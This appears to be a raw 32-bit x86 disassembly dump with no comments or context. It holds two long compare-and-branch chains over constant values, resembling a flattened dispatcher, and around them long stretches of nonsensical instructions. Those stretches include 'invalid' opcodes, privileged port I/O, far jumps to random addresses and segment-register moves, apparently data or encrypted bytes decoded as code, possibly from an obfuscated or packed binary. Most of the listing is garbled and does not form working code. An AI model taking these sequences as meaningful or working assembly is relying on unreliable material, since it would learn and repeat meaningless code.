mov edx, dword [ebp - 0xd4]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], edx
mov eax, dword [ebp - 0xe0]
xor eax, 0x14c00d
or eax, dword [ebp - 0xdc]
je 0x67da365d
mov edx, 0x14c00d
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x67da3660
mov eax, dword [ebp - 0xe0]
xor eax, 0xf2a1c
or eax, dword [ebp - 0xdc]
je 0x67d9efd4
mov edx, 0xf2a1c
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x67da3660
mov eax, dword [ebp - 0xe0]
xor eax, 0xf22fa
or eax, dword [ebp - 0xdc]
je 0x67da1edc
mov edx, 0xf22fa
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x67da3660
mov eax, dword [ebp - 0xe0]
xor eax, 0xc6107
or eax, dword [ebp - 0xdc]
je 0x67da0d39
mov edx, 0xc6107
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x67da3660
mov eax, dword [ebp - 0xe0]
xor eax, 0xb1974
or eax, dword [ebp - 0xdc]
je 0x67da131a
mov edx, 0xb1974
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x67da3660
mov eax, dword [ebp - 0xe0]
xor eax, 0xa0fa9
or eax, dword [ebp - 0xdc]
je 0x67da0177
mov edx, 0xa0fa9
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x67da3660
mov eax, dword [ebp - 0xe0]
xor eax, 0x9a4e2
or eax, dword [ebp - 0xdc]
je 0x67da24bd
mov edx, 0x9a4e2
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x67da3660
mov eax, dword [ebp - 0xe0]
xor eax, 0x92f60
or eax, dword [ebp - 0xdc]
je 0x67da307f
mov edx, 0x92f60
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x67da3660
mov eax, dword [ebp - 0xe0]
xor eax, 0x5f6a5
or eax, dword [ebp - 0xdc]
je 0x67da0758
mov edx, 0x5f6a5
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x67da3660
mov eax, dword [ebp - 0xe0]
xor eax, 0x4b5b6
or eax, dword [ebp - 0xdc]
je 0x67d9fb96
mov edx, 0x4b5b6
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x67da3660
mov eax, dword [ebp - 0xe0]
xor eax, 0x481c1
or eax, dword [ebp - 0xdc]
je 0x67d9e9f3
mov edx, 0x481c1
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x67da3660
mov eax, dword [ebp - 0xe0]
xor eax, 0x1780f
or eax, dword [ebp - 0xdc]
je 0x67da2a9e
mov edx, 0x1780f
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x67da3660
mov eax, dword [ebp - 0xe0]
xor eax, 0xa2c6
and bh, bh
invalid
or eax, dword [ebp - 0xdc]
je 0x67d9f5b5
mov eax, dword [ebp - 0xe0]
xor eax, 0x1301a
sbb dh, byte [eax]
add dword [eax], eax
or eax, dword [ebp - 0xdc]
je 0x67da18fb
add byte [eax], al
jmp 0x67da3660
bound eax, qword [esi + ebp*8]
jbe 0x67d9e9de
lodsd eax, dword [esi]
popfd
mov bh, 0x33
dec ebp
scasd eax, dword es:[edi]
fmul dword [ebx - 0x77]
mov ch, byte [edi + 0x276155d0]
sal dword [eax - 0x2d6274b], 0x6a
pushfd
mov dword [edi + ebp*8 + 0x774287bb], ecx
outsd dx, dword [esi]
sbb ecx, dword [edi + 0x72f8adc1]
sub byte [eax], bh
adc bl, byte [edi - 0x20]
sahf
pop ecx
lodsd eax, dword [esi]
clc
jb 0x67d9ea47
cmp byte [edx], dl
pop edi
loopne 0x67d9e9c2
mov ch, 0xf1
insb byte es:[edi], dx
fcmovbe st(0), st(6)
dec esi
mov dword [0xaf2b1cd3], eax
das
jg 0x67d9ea49
leave
pop ds
leave
adc al, 0x16
add al, 0x4f
push edx
je 0x67d9ea19
or dword [eax], ebx
push ss
sub byte [esi], dl
outsb dx, byte [esi]
scasd eax, dword es:[edi]
salc
jnp 0x67d9e9ec
jecxz 0x67d9e9cb
or dword [ebx - 0x87ed5cd], 0xffffffd5
ret 0xfc6b
mov esi, dword [ebx]
sub al, byte [ecx + 0x6bc2d5f7]
cld
xor ebp, dword [edx]
xor edi, 0xfc6bc2d5
test byte [ebx - 0x336f370e], ch
push edi
push 0xfffffffffffffff0
out dx, al
stc
push es
pop esp
mov esi, 0xa7cf930b
jmp 0x6b479ae6
clc
aad 0xe0
fdivr st(4)
push edx
or byte [edx + ebx*4 + 0x72], al
sbb esi, ebp
lahf
xor eax, 0x83ba9e2a
xor eax, 0xcc907082
jmp 0x67da3661
adc byte [edx + 0x3f589abe], 0xea
popal
push cs
jb 0x67d9effc
setp byte [edi]
xchg ebp, eax
clc
pop ss
lcall 0x6317, 0xf8953e0f
ret
arpl bx, ax
push cs
xor eax, 0x7088a98d
mov al, byte [0x56254194]
leave
ficom word [ebp - 0x43a05ede]
cmpsb byte [esi], byte es:[edi]
push ss
or byte fs:[ecx], dl
mov edx, 0x3af7ba2b
adc dword [ecx + 0x240d1f45], 0x56d3e1f3
and al, 0xf3
loope 0x67d9efe0
push esi
jg 0x67d9efb8
push ecx
sbb dl, dl
pop es
or cl, bh
loopne 0x67d9efe6
fbstp tbyte [esi + 5]
mov esp, 0x28d5f51c
aaa
push eax
jae 0x67d9f009
sbb dword [edi + 0x42], edi
fcmovnb st(0), st(1)
jnp 0x67d9efc2
inc esi
mov dword [0x83db0a0f], eax
xor byte [ecx - 0x6fd13763], al
int3
jg 0x67d9f5e9
push cs
sbb ebx, dword [ecx + ebp]
inc ebx
enter 0x3602, 0x62
pop esi
or cl, byte [esi - 0xd]
mov dword [0x97b8852d], eax
cmp dword [eax - 0x7b], edx
inc esi
or eax, 0xea149b4a
xor dword [esi + ebp*4 - 0x31355713], edi
mov edi, 0xbd7c9f62
jmp 0x94ba53cd
ret 0x1e2
mov bh, 0xd5
or dl, cl
insd dword es:[edi], dx
xchg edx, eax
inc esp
imul edi, dword [ecx - 0x14cc61d9], 0x44dc913b
fild qword [ebp + eax - 0x23]
mov esp, 0xe7793a29
scasd eax, dword es:[edi]
invalid
stc
sub ebp, dword [0x3c4a0450]
adc eax, ebx
cmp dword [esi - 0x78], esi
sub byte [esi - 0x6c], 0x3c
adc byte [ecx], dl
in al, 0x78
scasd eax, dword es:[edi]
js 0x67d9fb2d
out 0xb5, al
loop 0x67d9fb79
scasd eax, dword es:[edi]
popfd
call 0x41916815
adc eax, 0xf341b83e
nop
int3
daa
cli
jo 0x67d9fb7c
imul edx, dword [edi], 0x45
jne 0x67d9fbed
int1
wait
cwde
pop ebx
inc esp
insd dword es:[edi], dx
mov eax, dword [0x2d5b6c2b]
inc edx
xor bl, byte [edi]
wait
cmp eax, 0x3275dea6
sbb byte [edx + 0x13dddf66], cl
stosb byte es:[edi], al
loope 0x67d9fbcd
xchg ecx, eax
call 0x1a098684
sal dword [eax - 0x26], cl
jo 0x67d9fb9f
cmpsb byte [esi], byte es:[edi]
retf 0x456d
in al, 0xe6
adc dword [esi], 0x261f0c04
stc
push ebp
sbb byte [ebx - 0x79cebcd2], dh
xor cl, byte [ebx]
invalid
mov bl, 0x2e
inc ebx
xor dword [esi - 0x1d72f4ce], eax
jo 0x67d9fb69
psubw mm1, qword [esp + eax]
and dword [ecx - 0x55], esi
xor eax, 0x86a72313
adc ch, byte [edx - 0x5385dc4e]
cmpsd dword [esi], dword es:[edi]
xchg byte [edx], dl
stosb byte es:[edi], al
mov dl, 0x23
jp 0x67d9fba1
sub eax, 0xcc90238a
in eax, 0x70
into
xor al, byte [edx]
xor eax, dword [esi - 0x4c0ed38f]
jne 0x67d9fb90
xchg dword [ebx + 0x23], esp
arpl word [ebx], sp
mov byte [edi], ah
inc eax
leave
loop 0x67d9fbd8
jg 0x67d9fbc3
or dword [ebx], esp
xchg ebx, eax
xchg ecx, eax
sar ecx, 0x1e
add al, 0x4d
jp 0x67d9fc08
hlt
pop ecx
aam 0xd1
fisubr word [eax]
les ebp, gs:[ebp - 0x75de8759]
pop ecx
lea ebx, [ecx]
rcr byte [ecx], 0x8e
int1
dec ebx
mov ah, 0xc8
push esi
jl 0x67da01a6
push ecx
stosb byte es:[edi], al
jle 0x67da01e8
invalid
xor al, 0x86
lodsb al, byte [esi]
cmpsd dword [esi], dword es:[edi]
mov al, byte [edi + 0x21]
adc cl, byte [eax + 0x3d]
mov dh, 0x81
mov eax, 0xb50bfb54
and byte [eax - 0x7890ab98], dl
sub dl, al
cmpsd dword [esi], dword es:[edi]
cmp eax, 0x54b881b6
sti
or esi, dword [ebp + 0x54689020]
outsd dx, dword [esi]
xchg dword [edx], ebp
shl byte [edi + 0x2df99e1e], 1
bound ecx, qword [esi + 0x3ebd72ca]
cmp byte [edi], ch
adc dword [ecx + 0x17], edx
push ds
sahf
stc
sub eax, 0x72ca8e62
mov ebp, 0x112f383e
push ecx
pop ss
xor eax, 0xb4978d74
xchg esp, eax
cmp dword [esi - 0x18], ecx
bound edx, qword [eax + 0x769b73cc]
loope 0x67da01d1
lea edx, [edi + 0x4e3994b4]
call 0xdba6923e
wait
jbe 0x67da01c0
int3
int1
call 0x379389a2
test al, 0xc1
mov eax, 0x388ac57b
jnp 0x67da01af
mov bh, byte [eax]
jp 0x67da01da
push edi
fcomi st(0)
cmp eax, dword [0x9c60eeba]
sbb ecx, edi
and esp, dword [esi - 0x5131824e]
mov ecx, dword [ebx - 0x1a247424]
dec edx
adc eax, 0xc9af831c
mov ebx, 0x8233c783
aas
fdivr qword [0x949f7ead]
lds ecx, [ebx + 0x6dd7032d]
mov dword [ebx], edi
adc dword [esi + 0x6c998dce], ecx
inc eax
xchg ebp, eax
popal
and ebp, dword [esi + 0x12]
adc dword [ecx - 0x11fd7398], edi
neg byte [ebx + 0xf]
inc ecx
enter 0x9df, 0xffffffffffffffdf
insb byte es:[edi], dx
push esi
push ebp
jno 0x67da01ce
int3
push cs
inc esi
push ebp
invalid
enter 0xffffffffffff9076, 0xffffffffffffffcc
jmp 0x67da3661
movsd dword es:[edi], dword [esi]
test dword [ebx - 0x31], esp
pop esp
sti
ficomp word [eax]
wait
sbb dword [edi - 0x20dc4b5], esi
mov ch, 0x86
leave
fdivr dword [edi - 0x1e]
shr eax, 0xc8
les eax, [0x1167f8]
loop 0x67da0db1
push ds
and dword [ebp + edx*8 - 0x40], 0x50634567
scasb al, byte es:[edi]
add byte [ebx + 0x1e], ah
pop esi
sar dword [eax - 0x59b5713], 0x87
femms
add dl, byte [0xbb5c4373]
test eax, 0x632db664
push 0xafdd9532
pushal
mov al, byte [0xced2d192]
test dword [edx - 0x5d], ecx
loope 0x67da0d30
cmp cl, dh
mov byte [edx + 0x5c2ff302], ch
jmp 0x9ceb6ffb
xchg ebx, eax
dec eax
ret
add dl, byte [eax + 0x72]
ret 0x5b56
push es
fnstsw word [ecx - 0x15]
cmp byte [eax + 0x3cb5ba89], 0x2d
adc dword [edx - 0x210f464e], 0xad4898cd
leave
mov word ss:[edi + 0x2c], gs
jle 0x67da12f0
mov edi, 0xe9c4ca1a
imul ecx, ebp, 0x11
push esp
add bl, byte [edx + edx*2 - 0x74b85b94]
jle 0x67da135a
retf
or eax, edx
out 0x1a, eax
nop
invalid
mov edi, dword [ebp + 0x3e]
push eax
fldcw word [eax + 0x593410c7]
mov eax, dword [0xce99b85d]
or eax, eax
and al, 0xc8
mov bl, 0xe0
push esp
and eax, 0x318e3471
wait
mov edx, 0xb6fcba57
mov ebp, 0xcfe3c1cc
inc eax
rcr dword [edx], cl
and dh, bh
pop edi
leave
xor al, 0x76
invalid
popal
invalid
test dword [edx - 3], edi
adc ebx, dword [ecx + 0x4a58720e]
push edi
or byte [edi], ch
jge 0x67da1f2a
push cs
sub byte [ebx - 0x41], dl
mov edx, 0x89e3571d
test eax, 0xa0ad402c
sbb byte [esp + esi*2 + 0x62ab9a98], bl
mov eax, 0xb2bc7ff3
lodsd eax, dword [esi]
inc ecx
out 0x91, eax
jl 0x67da1eaf
or eax, 0x631b774f
push cs
inc edi
in eax, dx
sbb dword [ebx - 0x3b], ecx
and eax, 0x936afcef
dec ebx
lds esp, [0x936afcef]
stosb byte es:[edi], al
jns 0x67da1f28
sub eax, 0x331903d5
aam 0x34
enter 0x548f, 0x5c
pop esp
dec edi
pop ebp
push cs
sbb byte [eax + 0x24], 0xd1
pop esi
arpl word [edx + 0x39dd1585], ax
jmp 0x67da1f7f
lds esi, [eax]
inc edi
ret 0x6e86
wait
mov bh, 0xe9
add al, 0xa3
fldenv [ebx - 0x48]
push cs
xchg edi, eax
jge 0x67da1f14
int1
add eax, 0x12ab6a50
sub ecx, ecx
je 0x67da1f58
imul esp, dword [eax], 0xc59885a3
xlatb
and byte [ebx - 0x283a677b], ah
fadd qword [ecx + 0x4a726531]
pop ebp
std
add byte [edi + 0x2a], 0xf5
adc dword [esi], 0xffffffc7
jle 0x67da1f68
not ebx
xchg esi, eax
stosd dword es:[edi], eax
adc dword [eax + 0x4f], ebp
push edx
imul edx, dword [esi - 0x336f0a03], 0xd
sets byte [ebx + 0x54]
sahf
sub dl, dh
clc
adc bl, ch
stosb byte es:[edi], al
lodsb al, byte [esi]
adc byte [ebx - 0x7ba670a8], ah
jge 0x67da1f99
retf
test eax, 0x2070924b
fcom qword [0x22f88d5a]
add dword [edx], ebp
retf 0xf13d
xchg ecx, eax
mov eax, dword [0x402513ab]
in al, 0x7d
lodsd eax, dword [esi]
fdivr dword [esi + 0x6e]
aaa
jecxz 0x67da2430
invalid
stc
inc ecx
lds ebx, [edx + 0x549b3971]
jo 0x67da2499
jp 0x67da2544
and cl, byte [ecx + 0x1696a86f]
and bl, dl
add byte [edi + 0x13], ah
sbb byte [ebx + 0x3a097250], al
inc ebx
or al, ch
push ds
inc eax
dec edx
push esp
jne 0x67da24a1
mov ebp, 0x1f37d726
xlatb
aaa
pop ds
inc ebp
sbb edx, dword [ebp + 0x5a]
out dx, eax
jmp 0x67da2522
bound ecx, qword [esi + esi*2 + 0x6fd3d569]
out 0xf4, eax
imul edi, dword [esp + edi*4 + 0x36f88f59], 0x2d
jne 0x67da253e
xchg ecx, eax
je 0x67da24ed
ljmp 0x792d:0x9ec3d6bc
jns 0x67da257e
call 0xd51c3bae
insd dword es:[edi], dx
imul esp, esp, 0x47a0218
loopne 0x67da24e3
sub al, 0x8b
and al, dh
mov bh, 0x69
cld
ljmp 0x464
test byte [ebx + 0x51], cl
das
push ebp
nop
int3
cmpsb byte [esi], byte es:[edi]
and eax, 0xf8ba23b3
adc ebx, ebx
sbb dword [edx + ebx*4], ebp
mov dh, 0x68
seto ah
jmp 0x67da3661
jne 0x67da2a87
cli
invalid
dec ecx
invalid
nop
jmp 0x67da3661
nop
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xe8], 0x10801
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0xf0], 0xcc300
mov dword [ebp - 0xec], 0
mov eax, dword [ebp - 0xf0]
mov edx, dword [ebp - 0xec]
sub eax, dword [ebp - 0xe8]
sbb edx, dword [ebp - 0xe4]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], edx
mov eax, dword [ebp - 0xf8]
xor eax, 0xf24b8
or eax, dword [ebp - 0xf4]
je 0x67da5e29
mov edx, 0xf24b8
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x67dab655
mov eax, dword [ebp - 0xf8]
xor eax, 0xea077
or eax, dword [ebp - 0xf4]
je 0x67daa4b5
mov edx, 0xea077
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x67dab655
mov eax, dword [ebp - 0xf8]
xor eax, 0xc501b
or eax, dword [ebp - 0xf4]
je 0x67da816f
mov edx, 0xc501b
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x67dab655
mov eax, dword [ebp - 0xf8]
xor eax, 0xbdcdc
or eax, dword [ebp - 0xf4]
je 0x67da40c4
mov edx, 0xbdcdc
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x67dab655
mov eax, dword [ebp - 0xf8]
xor eax, 0xbbaff
or eax, dword [ebp - 0xf4]
je 0x67dab658
mov edx, 0xbbaff
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x67dab655
mov eax, dword [ebp - 0xf8]
xor eax, 0xab7e4
or eax, dword [ebp - 0xf4]
je 0x67da75ad
mov edx, 0xab7e4
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x67dab655
mov eax, dword [ebp - 0xf8]
xor eax, 0xa5cb3
or eax, dword [ebp - 0xf4]
je 0x67da3ae3
mov edx, 0xa5cb3
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x67dab655
mov eax, dword [ebp - 0xf8]
xor eax, 0xa32b4
or eax, dword [ebp - 0xf4]
je 0x67da98f3
mov edx, 0xa32b4
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x67dab655
mov eax, dword [ebp - 0xf8]
xor eax, 0x9f9d0
or eax, dword [ebp - 0xf4]
je 0x67da8d31
mov edx, 0x9f9d0
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x67dab655
mov eax, dword [ebp - 0xf8]
xor eax, 0x8cfd0
or eax, dword [ebp - 0xf4]
je 0x67da9312
mov edx, 0x8cfd0
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x67dab655
mov eax, dword [ebp - 0xf8]
xor eax, 0x86fe9
or eax, dword [ebp - 0xf4]
je 0x67dab077
mov edx, 0x86fe9
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x67dab655
mov eax, dword [ebp - 0xf8]
xor eax, 0x858ab
or eax, dword [ebp - 0xf4]
je 0x67da7b8e
mov edx, 0x858ab
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x67dab655
mov eax, dword [ebp - 0xf8]
xor eax, 0x65091
or eax, dword [ebp - 0xf4]
je 0x67da5267
mov edx, 0x65091
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x67dab655
mov eax, dword [ebp - 0xf8]
xor eax, 0x52c3b
or eax, dword [ebp - 0xf4]
je 0x67da8750
mov edx, 0x52c3b
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x67dab655
mov eax, dword [ebp - 0xf8]
xor eax, 0x51b35
or eax, dword [ebp - 0xf4]
je 0x67da6fcc
mov edx, 0x51b35
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x67dab655
mov eax, dword [ebp - 0xf8]
xor eax, 0x3b4ed
or eax, dword [ebp - 0xf4]
je 0x67da640a
mov edx, 0x3b4ed
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x67dab655
mov eax, dword [ebp - 0xf8]
xor eax, 0x2be46
or eax, dword [ebp - 0xf4]
je 0x67da69eb
mov edx, 0x2be46
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x67dab655
mov eax, dword [ebp - 0xf8]
xor eax, 0x28635
or eax, dword [ebp - 0xf4]
je 0x67da9ed4
mov edx, 0x28635
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x67dab655
mov eax, dword [ebp - 0xf8]
xor eax, 0x2476a
or eax, dword [ebp - 0xf4]
je 0x67da46a5
mov edx, 0x2476a
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x67dab655
mov eax, dword [ebp - 0xf8]
xor eax, 0x1694b
or eax, dword [ebp - 0xf4]
je 0x67da5848
mov edx, 0x1694b
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x67dab655
mov eax, dword [ebp - 0xf8]
xor eax, 0xc63a
or eax, dword [ebp - 0xf4]
je 0x67da4c86
mov eax, dword [ebp - 0xf8]
xor eax, 0x14e5a
or eax, dword [ebp - 0xf4]
je 0x67daaa96
jmp 0x67dab655
invalid
sub eax, 0xd82d1bc1
adc eax, 0xb808cc90
dec ebx
cli
cmp ah, al
scasd eax, dword es:[edi]
aad 0x8a
dec edx
out 0xd5, al
inc esi
in eax, 0x5f
retf 0x1456
jno 0x67da4085
push ebx
pop esp
aas
fisttp dword [ebx + 0x746d7265]
xchg esi, eax
movsb byte es:[edi], byte [esi]
mov word [esi - 0x1a], gs
rcr byte [ebx], 0xcd
movsb byte es:[edi], byte [esi]
inc ebx
jae 0x67da4103
retf 0x2614
jmp 0x67dab659
out dx, eax
jecxz 0x67da40c6
jecxz 0x67da40c6
xchg esp, eax
cwde
daa
sub dh, byte [ebp - 0x46]
jnp 0x67da4053
sbb eax, 0x9b11c9dd
mov eax, dword [0x223b0aa6]
insd dword es:[edi], dx
pop ebp
adc esi, esp
fist word [ebx]
xchg ebx, eax
je 0x67da4083
push ds
dec ebx
inc edi
adc al, 0x2b
add ebp, dword [esi + edx*8]
fisub word [esi - 0x2f9cc53e]
sub dword [ecx - 0x21], eax
mov bl, 0x1f
xchg edx, eax
lds ecx, [0xd9405fa8]
fbstp tbyte [ebx + 0xdc5921f]
or eax, 0xd9405fa8
test al, 0x5f
inc eax
fldcw word [edi + 0x7d288b35]
scasd eax, dword es:[edi]
xor eax, 0xf57d288b
mov ebp, dword [eax]
jge 0x67da40f9
cmc
xchg edi, eax
arpl cx, si
std
aaa
xchg ebx, eax
push eax
sub eax, 0xd4c4aa35
sub eax, 0xd4a9be6c
or esp, dword [ecx + 0x109a2e88]
jg 0x67da40f4
push es
jle 0x67da40bf
inc ebp
je 0x67da4100
js 0x67da40fa
nop
int3
jecxz 0x67da46ea
dec esi
push ss
inc ecx
sub ch, al
xor ah, byte [ecx + 0x3a234132]
dec ecx
iretd
std
out dx, eax
invalid
wait
mov al, 0xa3
not dword [ebx + 8]
or byte [edi - 2], dh
ja 0x67da4c8c
jne 0x67da4ca7
rol byte [esi], 1
xchg ebp, eax
pushfd
das
cmp dword [esi + 0x11e98684], eax
daa
or esp, dword [ebx - 0x144ba8e8]
xlatb
mov byte [0x73646120], al
wait
jae 0x67da4ce7
wait
sub bl, byte [edi + 0x74]
pop ebx
insb byte es:[edi], dx
jp 0x67da4d01
dec edi
or dword [edi], eax
push edi
pushal
or eax, 0xe080ab0d
retf 0x64da
xor eax, 0x85145c56
bound esi, qword [ebx + 0x2194554]
xor eax, 0x53cc90b0
add dh, byte [0x53cc90b0]
mov al, 0x90
int3
pop ecx
popfd
sbb al, 0x9d
out 0x20, eax
fcompi st(3)
sub ebx, eax
adc eax, 0x85d53509
or byte cs:[edx + 0x47], dl
dec edi
loop 0x67da4c92
cli
push 0xffffffffffffff85
pop ss
jb 0x67da4cdb
jo 0x67da4c8b
and edi, ebp
pushfd
mov ecx, 0x1439c9ee
add esp, dword [ecx + 0xec0de93]
je 0x67da4ce5
mov dh, 0xb9
mov esp, 0x96ec5de
pop ecx
sbb eax, 0x63dca644
cli
mov al, byte [0xc6fd8e78]
out dx, eax
fld dword [edi]
test eax, 0x71feaf57
imul byte [ebx + 0x4dd2157a]
push 0xb
sbb al, 0x2d
mov bl, 0xcd
ret
pop ds
invalid
xor dh, byte [edi - 0x5c1c7292]
cwde
push edx
mov eax, dword [0x6ff0fa0a]
adc dword [ecx], eax
xchg ebp, eax
sbb byte [ecx + 0xed25575], bl
pop ebp
pop edx
and dword [ebx + edx*4 + 0x43], ebx
les edi, [edi + 0x446eeea9]
xor byte [esi], bh
adc eax, 0xcd47264b
mov bh, 0x2e
pop ebx
fadd qword [ecx]
push 0x27d9e207
mov edx, 0xb60c8e40
jmp 0x67da58dc
fidivr word [0x35cf2af8]
scasd eax, dword es:[edi]
xchg byte [esi], cl
push 0x6a7d5002
loopne 0x67da5968
sub eax, 0x8d787863
push edx
add eax, 0x3b647f86
sbb al, 0xae
call 0x4b54647c
daa
pop ebx
jns 0x67da5977
hlt
mov ecx, edi
sbb al, 0x3c
invalid
push eax
in al, 0xca
clc
and eax, dword [ecx - 2]
invalid
std
jnp 0x67da5e98
mov esp, 0x9ba7ad34
nop
add byte [ebp + 0xc99b93b], bh
mov al, byte [0x8459264a]
and byte [edx + 0x59], bh
sbb al, 0x3d
test al, 0x37
lodsb al, byte [esi]
mov dword [eax - 0x5b2fe04b], 0xee453493
ljmp 0xded7:0x7a69da6c
mov dl, 0x8e
je 0x67da5e4f
out 0x60, eax
test al, 0xf5
sbb al, 4
invalid
fmul dword [ebp - 0x3250ca4e]
stc
jle 0x67da6442
invalid
adc dl, ch
cmp eax, dword [esi - 0x3b003fd]
fbld tbyte [eax + ebp*4 - 0x6e]
in al, 0x5e
fimul dword [ecx]
push ebp
mov edi, 0xbc09e814
xor byte [ebp + 0x318b6b4f], 0xda
jmp 0x2640861
sub esp, dword [edx - 0x37eeeed4]
xchg ebx, eax
in al, 0xfe
pop edi
cmc
or dl, byte [esi + 0x7a]
xchg edi, eax
pop ebx
push esi
mov ebx, 0xcdf464
mov byte [0x7fdb3f8c], al
out 0xce, eax
inc edi
aas
inc ebx
loope 0x67da6a7d
push 0xfffffffffffffff5
mov byte [0xf56b469], al
hlt
push ebp
adc eax, 0xc9a4240e
retf 0xa043
dec edx
das
dec eax
insd dword es:[edi], dx
fist word [eax]
in al, 0x3f
push 0xeb864c56
add dword [edx - 0x30ccc727], ecx
add al, 0x2b
ljmp 0x124b
invalid
sub dword [ebx + ebp*2], edx
cwde
jp 0x67da7619
add dword [eax + 0x40ace9cc], edx
add byte [eax], al
ja 0x67da75af
mov esp, 0x43f6f139
ja 0x67da755b
int1
test byte [ebx + 0x77], 0xa5
mov byte fs:[0x7865de04], al
push ebx
xchg dword [ecx + 0x1807310c], edx
jnp 0x67da75b1
jge 0x67da7604
mov cs, ebx
xchg ah, dl
sti
inc esp
sbb ecx, edx
out 0xb2, al
dec ebp
imul ebx, ebp, 0xffffffc4
jae 0x67da759f
aas
jmp 0x715bd672
aam 0x19
dec eax
stc
mov ss, word [edx]
push ebp
pop eax
enter 0xffffffffffff90fb, 0xffffffffffffff90
int3
inc edx
iretd
sub byte [ecx], ah
dec edx
sal byte [edx - 0x261f4f9a], 0x13
iretd
push 0x76fbbaea
inc eax
invalid
in al, 0x4e
shr dword [ecx], cl
push edi
outsb dx, byte [esi]
lahf
inc eax
xchg ecx, eax
xchg edi, eax
rcr dword [edx], 0xec
push esi
jg 0x67da87b5
ret 0xb1bc
and al, 0xb2
pop edi
stc
push edi
popal
nop
int3
xlatb
dec ecx
or eax, 0x38e8e50c
dec ecx
lds ecx, [ecx - 0x187390e6]
sahf
scasb al, byte es:[edi]
lea esp, [eax - 0xa72bb41]
pop esp
xchg dword [edi + 0x7e], eax
mov esi, 0x3ed3eb2
sbb dword [ecx - 0x3cf6f7a1], esi
mov bl, 0xe1
cmp eax, 0xea8d0c7
and al, 0xc3
loop 0x67da872b
ret
movsb byte es:[edi], byte [esi]
shr byte [edx + edi*4 + 3], 1
sub ecx, dword [0x9ca1af73]
mov dword [ebx], 0x7bb39e1a
sbb dword [ebx - 0x77], 0xf7db5fa1
mov fs, word [ecx - 0x6537c88e]
mov dh, 0x16
xchg esi, eax
neg dword [edi]
pop ebx
mov al, 0xc3
inc ecx
push esi
inc ecx
and byte ss:[ecx + ecx*8 - 0x10], al
jge 0x67da8743
int3
mov eax, dword [0x30a7cbfa]
mov cl, 0xeb
jg 0x67da877f
iretd
jmp 0x67dab659
cmp ch, byte [ebx + eax]
sti
test eax, 0xe162a11b
push ds
cmp al, 0x81
add ah, byte [edx - 0x7562eb92]
salc
mov ebx, 0x975b99b2
adc al, 0x6c
dec edi
inc esp
adc byte [edx*8 - 0x6e940c0d], 0x8f
stosd dword es:[edi], eax
je 0x67da8d2c
pop edi
and byte [ebp + 0xf52ba63], bh
mov ch, 0xe7
test al, 0xc0
retf 0x66b1
fst dword [ecx + 0x5d]
fisttp qword [ebp + esi*8 + 0x72d71c8b]
test al, 0x68
and esi, 0x3bcd5a71
push es
xor al, 0x6d
invalid
pop ss
daa
or ecx, eax
mov byte [0xb97b039a], al
lcall 0x4097, 0xea97df9c
fst dword [esi]
dec esi
mov esi, 0x9d3472c1
fisttp dword [eax + 5]
psubd mm5, qword [ebx + 0x54304c16]
adc ch, ch
xchg ebp, eax
add al, 0xef
in al, dx
mov eax, dword [0xddf6d6b2]
xchg edx, eax
nop
int3
push edi
xchg edi, eax
inc ebx
stosb byte es:[edi], al
jb 0x67da98ff
mov esp, 0x6bc67569
xor al, 0x2c
lodsd eax, dword [esi]
dec eax
ja 0x67da9859
je 0x67da993f
mov dh, 0x73
